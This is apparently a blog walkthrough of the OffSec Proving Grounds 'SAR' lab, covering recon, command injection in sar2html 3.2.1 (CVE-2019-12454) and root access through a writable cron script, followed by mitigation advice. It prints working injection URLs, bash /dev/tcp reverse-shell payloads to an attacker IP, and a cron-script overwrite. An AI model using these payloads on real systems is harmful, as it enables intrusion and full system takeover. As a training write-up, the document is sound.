SAR is an easy-rated Linux machine on OffSec Proving Grounds Play. Two services are exposed: SSH on 22 and Apache on 80. The web server hosts sar2html v3.2.1, a system activity reporting tool that passes user input directly into OS commands with zero sanitization. That lands a shell as www-data. From there, a root-owned cron job runs a script inside a web-writable directory every five minutes — overwrite the script, wait for the job to fire, get root. Straightforward chain, nothing exotic.
Press enter or click to view image in full size
Platform: OffSec PG Play | Difficulty: Easy | OS: Linux (Ubuntu 18.04) Attack Path: Web RCE (CVE-2019–12454) → www-data → Cron PrivEsc → Root
┌─────────────────────────────────────────────────────────────────────┐
│ ATTACK SUMMARY │
├──────────────────────┬────────────────────────┬─────────────────────┤
│ Phase │ Technique │ Outcome │
├──────────────────────┼────────────────────────┼─────────────────────┤
│ Reconnaissance │ nmap -sC -A │ Ports 22, 80 open │
│ Enumeration │ gobuster dir │ Found /sar2HTML/ │
│ Enumeration │ robots.txt │ Confirmed sar2HTML │
│ Exploitation │ RCE via plot param │ Shell as www-data │
│ Post-Exploitation │ /etc/crontab │ Writable root cron │
│ Privilege Escalation │ Overwrite finally.sh │ Root shell │
└──────────────────────┴────────────────────────┴─────────────────────┘TABLE OF CONTENTS
─────────────────────────────────────────────────────
1. Reconnaissance
2. Enumeration
2.1 Web Directory Brute-Force
2.2 robots.txt Inspection
2.3 sar2HTML Source Analysis
2.4 Command Injection PoC
3. Exploitation — CVE-2019-12454
3.1 Vulnerability Overview
3.2 Setting Up the Listener
3.3 Reverse Shell Payload
3.4 Initial Foothold
4. Post-Exploitation & Privilege Escalation
4.1 Enumerating Cron Jobs
4.2 Checking File Permissions
4.3 Overwriting finally.sh
4.4 Catching the Root Shell
4.5 Additional PrivEsc Checks
5. Defense & Mitigation
6. Conclusion
─────────────────────────────────────────────────────1. Reconnaissance
Nmap Port Scan
Start with a fast, aggressive scan. The -F flag keeps it snappy — we just need to know what is open before going deeper.
$ nmap -Pn -sC -A -F 192.168.233.35Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 192.168.233.35
Host is up (0.081s latency).PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It worksOS details: Linux 5.0 - 5.14
Network Distance: 4 hops┌────────┬──────────┬─────────┬───────────────────────────────┐
│ Port │ Protocol │ Service │ Version │
├────────┼──────────┼─────────┼───────────────────────────────┤
│ 22/tcp │ TCP │ SSH │ OpenSSH 7.6p1 Ubuntu 4ubuntu0 │
│ 80/tcp │ TCP │ HTTP │ Apache httpd 2.4.29 Ubuntu │
└────────┴──────────┴─────────┴───────────────────────────────┘Two ports open. SSH on 22 is a dead end without credentials. Port 80 is the way in — a default Apache page on the surface, but there is clearly more underneath.
2. Enumeration
2.1 Web Directory Brute-Force
The Apache default page gives nothing away, so throw gobuster at it with the common wordlist.
$ gobuster dir -u http://192.168.233.35/ -w /usr/share/dirb/wordlists/common.txt/.hta (Status: 403) [Size: 279]
/.htaccess (Status: 403) [Size: 279]
/.htpasswd (Status: 403) [Size: 279]
/index.html (Status: 200) [Size: 10918]
/phpinfo.php (Status: 200) [Size: 95418]
/robots.txt (Status: 200) [Size: 9]
/server-status (Status: 403) [Size: 279]┌─────────────────┬────────┬──────────────────────────────────────────┐
│ Path │ Status │ Notes │
├─────────────────┼────────┼──────────────────────────────────────────┤
│ /phpinfo.php │ 200 │ Full PHP config exposed — never good │
│ /robots.txt │ 200 │ Small file, likely hiding something │
│ /index.html │ 200 │ Default Apache page, nothing useful │
│ /.htaccess │ 403 │ Exists but unreadable │
└─────────────────┴────────┴──────────────────────────────────────────┘Two things stand out: phpinfo.php leaks server configuration, and robots.txt It is suspiciously small at just 9 bytes.
2.2 robots.txt Inspection
Nine bytes in a robots.txt It is not a proper exclusion list — it is a breadcrumb.
$ curl http://192.168.233.35/robots.txtsar2HTMLThat is it. One entry, no / prefix, no Disallow keyword — just the name of the directory. Navigate to /sar2HTML/.
2.3 sar2HTML Source Analysis
The page loads a web interface for sar2html — a tool that visualizes SAR (System Activity Reporter) performance data. Pulling the source reveals the version and, more importantly, how the application works.
$ curl http://192.168.233.35/sar2HTML/<!-- sar2html Ver 3.2.1 -->
<!-- index.php?plot=NEW -->
<!-- index.php?plot=OS -->
<!-- Parameters: host, sdate, edate -->Version 3.2.1. The plot A parameter is used to generate graphs by passing a value directly into a shell command on the server. No sanitization. No validation. This is CVE-2019-12454 — unauthenticated remote code execution.
2.4 Command Injection PoC
Before building a full reverse shell, confirm execution with a quick id injection. The semicolon acts as a command separator.
$ curl "http://192.168.233.35/sar2HTML/index.php?plot=;id"# Response body contains:
uid=33(www-data) gid=33(www-data) groups=33(www-data)Code execution confirmed as www-data. Time to get a shell.
Press enter or click to view image in full size
3. Exploitation — CVE-2019–12454
3.1 Vulnerability Overview
┌──────────────────────┬─────────────────────────────────────────────────┐
│ Field │ Detail │
├──────────────────────┼─────────────────────────────────────────────────┤
│ CVE │ CVE-2019-12454 │
│ Affected Software │ sar2html <= 3.2.1 │
│ Vulnerability Type │ Unauthenticated OS Command Injection (RCE) │
│ CVSS Score │ 9.8 Critical │
│ Authentication │ None required │
│ Vulnerable Parameter │ GET index.php?plot= │
│ Injection Separator │ Semicolon (;) │
└──────────────────────┴─────────────────────────────────────────────────┘The application takes the plot value and drops it straight into a shell command. Append anything after a semicolon, and it runs with the permissions of the web server process. No authentication, no interaction, no complexity.
3.2 Setting Up the Listener
Start a netcat listener on the attacker machine before sending the payload.
# Attacker machine — 192.168.45.222
$ nc -lvnp 4444listening on [any] 4444 ...3.3 Reverse Shell Payload
The payload is a standard Bash reverse shell injected through the plot parameter. URL-encode it to avoid breaking the request.
$ curl "http://192.168.233.35/sar2HTML/index.php?plot=%3Bbash+-c+'bash+-i+>%26/dev/tcp/192.168.45.222/4444+0>%261'"# Decoded payload:
;bash -c 'bash -i >& /dev/tcp/192.168.45.222/4444 0>&1'3.4 Initial Foothold
The listener catches the connection almost immediately.
listening on [any] 4444 ...
connect to [192.168.45.222] from (UNKNOWN) [192.168.233.35] 48334
bash: cannot set terminal process group (975): Inappropriate ioctl for device
bash: no job control in this shell
www-data@sar:/var/www/html/sar2HTML$Shell as www-data. Not root yet, but we are inside.
4. Post-Exploitation & Privilege Escalation
4.1 Enumerating Cron Jobs
First thing to check after landing — cron jobs. A lot of boxes give away the intended escalation path right here.
www-data@sar:/tmp$ cat /etc/cron*SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * 7 root test -x /usr/sbin/anacron || cd / && run-parts --report /etc/cron.weekly
52 6 1 * * root test -x /usr/sbin/anacron || cd / && run-parts --report /etc/cron.monthly
*/5 * * * * root cd /var/www/html/ && sudo ./finally.shThat last line. Root runs ./finally.sh from /var/www/html/ every five minutes via sudo. If the file or the directory it lives in is writable, we own the box.
4.2 Checking File Permissions
www-data@sar:/tmp$ ls -ld /var/www/html
drwxr-xr-x 3 www-data www-data 4096 Jul 24 2020 /var/www/htmlwww-data@sar:/tmp$ ls -l /var/www/html/finally.sh
-rwxr-xr-x 1 root root 22 Oct 20 2019 /var/www/html/finally.sh┌────────────────────────────┬──────────┬──────────┬─────────────┬───────────────────────────────────────────────┐
│ Path │ Owner │ Group │ Permissions │ Key Finding │
├────────────────────────────┼──────────┼──────────┼─────────────┼───────────────────────────────────────────────┤
│ /var/www/html/ │ www-data │ www-data │ drwxr-xr-x │ www-data owns the directory │
│ /var/www/html/finally.sh │ root │ root │ -rwxr-xr-x │ Owned by root, but the parent dir is ours │
└────────────────────────────┴──────────┴──────────┴─────────────┴───────────────────────────────────────────────┘finally.sh is owned by root, but the directory is owned by www-data. On Linux, write permission on a directory means you can delete and recreate any file inside it, regardless of who owns that file. The script is effectively ours to replace.
4.3 Overwriting finally.sh
Delete the original and drop in a reverse shell script. Make it executable and wait.
www-data@sar:/tmp$ rm -f /var/www/html/finally.shwww-data@sar:/tmp$ echo '#!/bin/bash' > /var/www/html/finally.sh
www-data@sar:/tmp$ echo 'bash -i >& /dev/tcp/192.168.45.222/5555 0>&1' >> /var/www/html/finally.sh
www-data@sar:/tmp$ echo 'curl http://192.168.45.222/pwned' >> /var/www/html/finally.sh
www-data@sar:/tmp$ chmod +x /var/www/html/finally.sh# Confirm the contents
www-data@sar:/tmp$ cat /var/www/html/finally.sh
#!/bin/bash
bash -i >& /dev/tcp/192.168.45.222/5555 0>&1
curl http://192.168.45.222/pwnedStart the second listener and wait up to five minutes for the cron job to execute.
# Attacker machine — second listener
$ nc -lvnp 55554.4 Catching the Root Shell
listening on [any] 5555 ...
connect to [192.168.45.222] from (UNKNOWN) [192.168.233.35] 47806
bash: cannot set terminal process group (5872): Inappropriate ioctl for device
bash: no job control in this shell
root@sar:/var/www/html#root@sar:/var/www/html# cd /root
root@sar:~# ls
proof.txt
root.txt
root@sar:~#Root. Done.
4.5 Additional PrivEsc Checks
These were checked after getting the www-data shell. The cron path was the intended route and the quickest win, but it is worth knowing what else is on the table.
Baron Samedit — CVE-2021–3156
www-data@sar:/tmp$ sudoedit -s '\'
[sudo] password for www-data:┌──────────────────────────────────┬───────────────────────────┐
│ Test Result │ Meaning │
├──────────────────────────────────┼───────────────────────────┤
│ Prints usage / sudoedit error │ VULNERABLE │
│ Prompts for a password ← this │ PATCHED │
└──────────────────────────────────┴───────────────────────────┘The box prompted for a password. Ubuntu 18.04 backported the fix 1.8.21p2 before the CVE went public. The version number looks vulnerable, but the patch is already in. Not exploitable.
Dirty Sock — CVE-2019–7304
www-data@sar:/tmp$ snap --version
snap 2.42
snapd 2.42
series 16
ubuntu 18.04
kernel 5.0.0-23-genericwww-data@sar:/tmp$ curl -s --unix-socket /run/snapd.socket http://localhost/v2/assertions
{"type":"sync","status-code":200,"status":"OK",...}Dirty Sock was patched in snapd 2.37.1. This box runs 2.42. The socket is world-reachable, which looks like an opening, but the vulnerable POST /v2/create-user code path was closed at 2.37.1. A reachable socket does not mean an exploitable endpoint. Not exploitable.
Full PrivEsc Vector Summary
┌────┬─────────────────────┬─────────────────────────────────┬──────────────┬────────────┬──────────────┐
│ # │ CVE │ Technique │ Version │ Fixed In │ Status │
├────┼─────────────────────┼─────────────────────────────────┼──────────────┼────────────┼──────────────┤
│ 1 │ N/A │ Cron script overwrite │ — │ — │ CONFIRMED │
│ 2 │ CVE-2021-3156 │ Baron Samedit (sudo) │ 1.8.21p2 │ backported │ PATCHED │
│ 3 │ CVE-2019-7304 │ Dirty Sock (snapd) │ snapd 2.42 │ 2.37.1 │ PATCHED │
│ 4 │ CVE-2021-4034 │ PwnKit (pkexec 0.105) │ pkexec 0.105 │ 0.121 │ CHECK │
│ 5 │ CVE-2022-0847 │ Dirty Pipe (kernel 5.0.0-23) │ 5.0.0-23 │ 5.16.11 │ CHECK │
└────┴─────────────────────┴─────────────────────────────────┴──────────────┴────────────┴──────────────┘PwnKit: pkexec 0.105 is below the 0.121 fix. Quick check — run pkexec --help and see if it segfaults. If it does, it is likely exploitable.
Get Roshan Rajbanshi’s stories in your inbox
Join Medium for free to get updates from this writer.
Dirty Pipe: Kernel 5.0.0-23 is well below 5.16.11. If this box is being used for further research, this is the most realistic remaining kernel-level vector.
5. Defense & Mitigation
5.1 Vulnerability Summary
┌────┬──────────────────────────────────────────┬──────────┬────────────────────────────────────┐
│ # │ Vulnerability │ Severity │ Affected Component │
├────┼──────────────────────────────────────────┼──────────┼────────────────────────────────────┤
│ 1 │ OS Command Injection (CVE-2019-12454) │ Critical │ sar2html v3.2.1 — plot parameter │
│ 2 │ Cron script in web-writable directory │ High │ /var/www/html/finally.sh │
│ 3 │ phpinfo.php publicly accessible │ Medium │ Apache web server │
│ 4 │ Web root writable by www-data │ High │ /var/www/html/ │
│ 5 │ Unpatched pkexec and kernel │ High │ pkexec 0.105, kernel 5.0.0-23 │
└────┴──────────────────────────────────────────┴──────────┴────────────────────────────────────┘5.2 Patch sar2html — CVE-2019–12454
The entire initial access hinges on one thing: user input going straight into a shell command. Upgrade sar2html if a patched version exists. If not, remove it. There is no safe way to run an application with unauthenticated RCE in a production environment.
If OS commands absolutely must accept user input, use escapeshellarg() and strict whitelisting:
$allowed = ['NEW', 'OS', 'LINUX', 'HPUX', 'SUNOS'];
if (!in_array($_GET['plot'], $allowed)) {
die('Invalid parameter');
}
$plot = escapeshellarg($_GET['plot']);5.3 Fix the Cron Job
The privilege escalation happened because a privileged script lived inside a directory writable by a low-privilege account. Move the script out of the web root, lock down its permissions, and stop using sudo inside a root cron job.
mv /var/www/html/finally.sh /opt/scripts/finally.sh
chown root:root /opt/scripts/finally.sh
chmod 700 /opt/scripts/finally.sh# Updated crontab entry — no sudo, absolute path
*/5 * * * * root /opt/scripts/finally.shNever put scripts that run as root inside directories accessible to web server processes.
5.4 Remove phpinfo.php
phpinfo.php hands an attacker the full server configuration — PHP version, loaded modules, environment variables, and more. It has no business being on a production server.
rm /var/www/html/phpinfo.php5.5 Apply System Updates
apt update && apt upgrade -y┌────────────────┬────────────────────┬──────────────────────────────┬───────────────────────┐
│ Package │ Vulnerable Version │ CVE │ Fix │
├────────────────┼────────────────────┼──────────────────────────────┼───────────────────────┤
│ pkexec │ < 0.121 │ CVE-2021-4034 (PwnKit) │ polkit >= 0.121 │
│ Linux Kernel │ < 5.16.11 │ CVE-2022-0847 (Dirty Pipe) │ Kernel >= 5.16.11 │
└────────────────┴────────────────────┴──────────────────────────────┴───────────────────────┘Note: sudo and snapd are already backport-patched on this machine by Ubuntu’s security team. Do not rely on package version numbers alone to determine patch status — always verify with a behavioral test.
5.6 Egress Filtering
Both reverse shells connected back to the attacker's machine without any resistance. Restricting outbound connections from the web server process would have stopped both exploits at the delivery stage.
# Whitelist only required outbound traffic
ufw default deny outgoing
ufw allow out 80/tcp
ufw allow out 443/tcp
ufw allow out 53/udpFor process-level control, AppArmor or seccomp profiles can prevent Apache and PHP from spawning shells or making arbitrary outbound connections entirely.
5.7 Mitigation Summary
┌──────────────────────────────────┬────────────────────────────────────────────────────────┬──────────┐
│ Control │ Action │ Priority │
├──────────────────────────────────┼────────────────────────────────────────────────────────┼──────────┤
│ Patch sar2html │ Upgrade or remove — CVE-2019-12454 is trivial RCE │ Critical │
│ Fix cron script location │ Move outside web root, chmod 700, root:root │ High │
│ Remove phpinfo.php │ Delete immediately │ Medium │
│ Update pkexec and kernel │ Patch PwnKit and Dirty Pipe vectors │ High │
│ Egress filtering │ Restrict outbound connections from web process │ Medium │
│ Web Application Firewall │ Detect and block command injection attempts │ Medium │
│ Least privilege for web process │ Ensure Apache/PHP cannot spawn shells │ High │
│ Cron job auditing │ Regularly audit /etc/crontab and /etc/cron.d/ │ Medium │
└──────────────────────────────────┴────────────────────────────────────────────────────────┴──────────┘6. Conclusion
SAR is a clean example of how two straightforward misconfigurations chain into a full compromise. No custom exploits, no guesswork — just a public CVE and a cron job that should never have been set up the way it was.
The initial foothold is textbook: an unpatched web application with unauthenticated RCE. The privilege escalation asks even less of the attacker — read a file, find a writable path, write a payload, wait. Both issues are entirely preventable. Patch management stops the first. Basic file permission hygiene stops the second.
The more interesting lesson here is around the secondary vectors. Baron Samedit and Dirty Sock both look exploitable based on version numbers alone, but Ubuntu’s security team had quietly backported patches without bumping the version string. That is a common real-world trap — never assume exploitability from a version number without running a behavioral test first. PwnKit and Dirty Pipe are still worth investigating if the kernel and pkexec remain unpatched.